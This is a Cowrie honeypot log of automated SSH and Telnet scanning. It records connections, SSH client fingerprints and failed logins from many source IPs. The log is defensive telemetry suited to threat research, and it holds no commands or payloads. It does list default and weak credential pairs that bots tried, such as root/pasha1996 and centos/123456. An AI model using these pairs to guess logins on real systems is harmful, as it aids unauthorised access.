{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:46.203627Z","src_ip":"38.148.249.2","session":"434613e0e4cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":56245,"dst_ip":"10.17.0.5","dst_port":22,"session":"10954f184a08","protocol":"ssh","message":"New connection: 170.80.65.140:56245 (10.17.0.5:22) [session: 10954f184a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:47.809448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:47.813535Z","src_ip":"170.80.65.140","session":"10954f184a08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:47.936594Z","src_ip":"170.80.65.140","session":"10954f184a08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60308,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3a2cf6ae66d","protocol":"telnet","message":"New connection: 172.81.62.90:60308 (159.203.135.109:23) [session: f3a2cf6ae66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:48.053256Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"us3r","message":"login attempt [user/us3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:48.464913Z","src_ip":"170.80.65.140","session":"10954f184a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:49.589724Z","src_ip":"170.80.65.140","session":"10954f184a08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":47806,"dst_ip":"10.17.0.5","dst_port":22,"session":"496e3bb454c9","protocol":"ssh","message":"New connection: 165.154.137.186:47806 (10.17.0.5:22) [session: 496e3bb454c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:56.984252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:56.987628Z","src_ip":"165.154.137.186","session":"496e3bb454c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:57.233602Z","src_ip":"165.154.137.186","session":"496e3bb454c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:57.973641Z","src_ip":"165.154.137.186","session":"496e3bb454c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:59.222992Z","src_ip":"165.154.137.186","session":"496e3bb454c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36352,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf29e31177bc","protocol":"telnet","message":"New connection: 128.199.8.54:36352 (159.203.135.109:23) [session: bf29e31177bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:08.937637Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37526,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c9faf0347de","protocol":"telnet","message":"New connection: 128.199.8.54:37526 (159.203.135.109:23) [session: 2c9faf0347de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:11.950711Z"}
{"eventid":"cowrie.session.closed","duration":50.35283541679382,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:12.604723Z","src_ip":"107.6.151.170","session":"a545f235f607","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.815617084503174,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:21.868677Z","src_ip":"172.81.62.90","session":"f3a2cf6ae66d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":55676,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fe991e0ec25","protocol":"ssh","message":"New connection: 176.32.39.21:55676 (159.203.135.109:22) [session: 6fe991e0ec25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:32.501962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:32.505740Z","src_ip":"176.32.39.21","session":"6fe991e0ec25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:32.634194Z","src_ip":"176.32.39.21","session":"6fe991e0ec25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pasha1996","message":"login attempt [root/pasha1996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:33.153858Z","src_ip":"176.32.39.21","session":"6fe991e0ec25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:34.284741Z","src_ip":"176.32.39.21","session":"6fe991e0ec25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38468,"dst_ip":"10.17.0.5","dst_port":22,"session":"7847be578f98","protocol":"ssh","message":"New connection: 165.154.137.186:38468 (10.17.0.5:22) [session: 7847be578f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:35.809892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:35.813666Z","src_ip":"165.154.137.186","session":"7847be578f98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:36.065280Z","src_ip":"165.154.137.186","session":"7847be578f98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:36.814003Z","src_ip":"165.154.137.186","session":"7847be578f98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:38.065489Z","src_ip":"165.154.137.186","session":"7847be578f98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46530,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfbb42b9747a","protocol":"ssh","message":"New connection: 165.154.137.186:46530 (10.17.0.5:22) [session: bfbb42b9747a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:43.699866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:43.704362Z","src_ip":"165.154.137.186","session":"bfbb42b9747a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:44.146573Z","src_ip":"165.154.137.186","session":"bfbb42b9747a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:45.493439Z","src_ip":"165.154.137.186","session":"bfbb42b9747a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:46.758065Z","src_ip":"165.154.137.186","session":"bfbb42b9747a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":52298,"dst_ip":"10.17.0.5","dst_port":22,"session":"6788ba40a544","protocol":"ssh","message":"New connection: 43.153.12.68:52298 (10.17.0.5:22) [session: 6788ba40a544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:48.216932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:48.221738Z","src_ip":"43.153.12.68","session":"6788ba40a544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:48.293913Z","src_ip":"43.153.12.68","session":"6788ba40a544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mqm","password":"mqm","message":"login attempt [mqm/mqm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:48.597357Z","src_ip":"43.153.12.68","session":"6788ba40a544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:49.667433Z","src_ip":"43.153.12.68","session":"6788ba40a544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.75.114.30","src_port":42570,"dst_ip":"10.17.0.5","dst_port":23,"session":"308dc356b7b6","protocol":"telnet","message":"New connection: 41.75.114.30:42570 (10.17.0.5:23) [session: 308dc356b7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:50.058759Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":55230,"dst_ip":"10.17.0.5","dst_port":22,"session":"75201db42aa1","protocol":"ssh","message":"New connection: 27.71.230.31:55230 (10.17.0.5:22) [session: 75201db42aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:50.665764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:50.701396Z","src_ip":"27.71.230.31","session":"75201db42aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":46438,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cd939c62ce5","protocol":"ssh","message":"New connection: 85.198.19.241:46438 (159.203.135.109:22) [session: 3cd939c62ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:50.748936Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:50.932951Z","src_ip":"27.71.230.31","session":"75201db42aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40172,"dst_ip":"10.17.0.5","dst_port":22,"session":"e34959c0799e","protocol":"ssh","message":"New connection: 165.154.137.186:40172 (10.17.0.5:22) [session: e34959c0799e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:50.998182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:51.063245Z","src_ip":"165.154.137.186","session":"e34959c0799e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:51.259989Z","src_ip":"165.154.137.186","session":"e34959c0799e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:48:51.772605Z","src_ip":"85.198.19.241","session":"3cd939c62ce5","protocol":"ssh"}
